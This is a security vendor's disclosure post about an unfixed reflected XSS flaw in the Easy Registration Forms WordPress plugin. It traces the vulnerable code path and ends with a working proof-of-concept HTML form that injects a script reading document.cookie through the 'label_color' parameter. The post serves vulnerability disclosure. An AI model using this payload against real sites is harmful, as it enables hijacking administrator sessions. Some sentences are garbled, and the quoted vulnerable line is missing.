Our Plugin Security Caught the Reflected XSS Vulnerability Missed in Easy Registration Forms
The changelog for the latest version of Easy Registration Forms “Security improvement.” When we looked at the changes made in that version to see if there was a vulnerability should be adding the data set for our service what we saw was that insecure code being changed should have been flagged by our Plugin Security Checker, an automated tool that can identify some possible issues in WordPress plugins, if someone had run the plugin through that. In comparing the results of the tool for the previous version of the plugin versus the changes made, we found that only two of three instances of it flagged by the tool had been fixed. One possible explanation is the developer was inadvertently fixing a vulnerability when making an unrelated security improvement.
With the developer mode of the Plugin Security Checker enabled this line of code is still flagged by the tool in the new version of the plugin:
That will output user input in the form of the Post input “label_color” without escaping it, which can permit reflected cross-site scripting (XSS).
What determines if that is a vulnerability is how the vulnerable code can be accessed. In this case the code runs when the file it is in is loaded. That file is loaded by the function output() in the file /includes/admin/labels/class-label.php:
47 | public function output() { |
63 | include 'html/labels.php'; |
That function in turn runs the when the action “erforms_admin_page” runs when visiting the plugin’s Labels admin page:
31 32 | if ( 'erforms-labels' === $page ) { add_action( 'erforms_admin_page',array( $this, 'output') ); |
That action runs when the function admin_page() runs:
202 203 204 205 206 207 208 209 210 211 212 | public function admin_page() { if(erforms_is_admin_page()){ wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_style ('wp-jquery-ui-dialog'); wp_enqueue_script('erf-util-functions'); wp_enqueue_script ('erf-admin'); wp_enqueue_style('erf-admin-style'); do_action( 'erf_admin_global_enqueues' ); } do_action( 'erforms_admin_page' ); |
That in turns when access the Labels admin page:
119 120 121 122 123 124 125 126 | add_submenu_page( 'erforms-overview', __( 'Labels', 'erforms' ), __( 'Labels', 'erforms' ), $menu_cap, 'erforms-labels', array( $this, 'admin_page' ) ); |
By default only Administrators can access that page as it requires the “manage_options” capability to do so:
67 | $menu_cap = apply_filters( 'erforms_manage_cap', 'manage_options' ); |
So the vulnerability is exploitable against logged in Administrators.
Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=erforms-labels" method="POST"> <input type="hidden" name="label_color" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit request" /> </form> </body> </html>